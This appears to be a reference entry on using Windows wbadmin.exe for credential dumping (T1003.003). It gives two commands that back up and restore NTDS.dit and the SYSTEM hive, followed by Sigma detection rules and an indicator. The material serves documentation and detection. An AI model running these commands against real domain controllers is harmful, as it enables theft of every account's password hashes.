01 / TRADECRAFT
2 examplesCommand reference
Dump2
EXAMPLE 01T1003.003
Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)
COMMAND
wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quietEXAMPLE 02T1003.003
Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers.
COMMAND
wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet02 / ON DISK
Known paths
C:\Windows\System32\wbadmin.exe03 / DEFENSIVE INTELLIGENCE
3 resourcesDetection & indicators
- Sigmaproc_creation_win_wbadmin_dump_sensitive_files.ymlgithub.com
- Sigmaproc_creation_win_wbadmin_restore_file.ymlgithub.com
- Sigmaproc_creation_win_wbadmin_restore_sensitive_files.ymlgithub.com
Indicators & detection notes
- IOC
wbadmin.exe command lines containing "NTDS" or "NTDS.dit"
FURTHER READING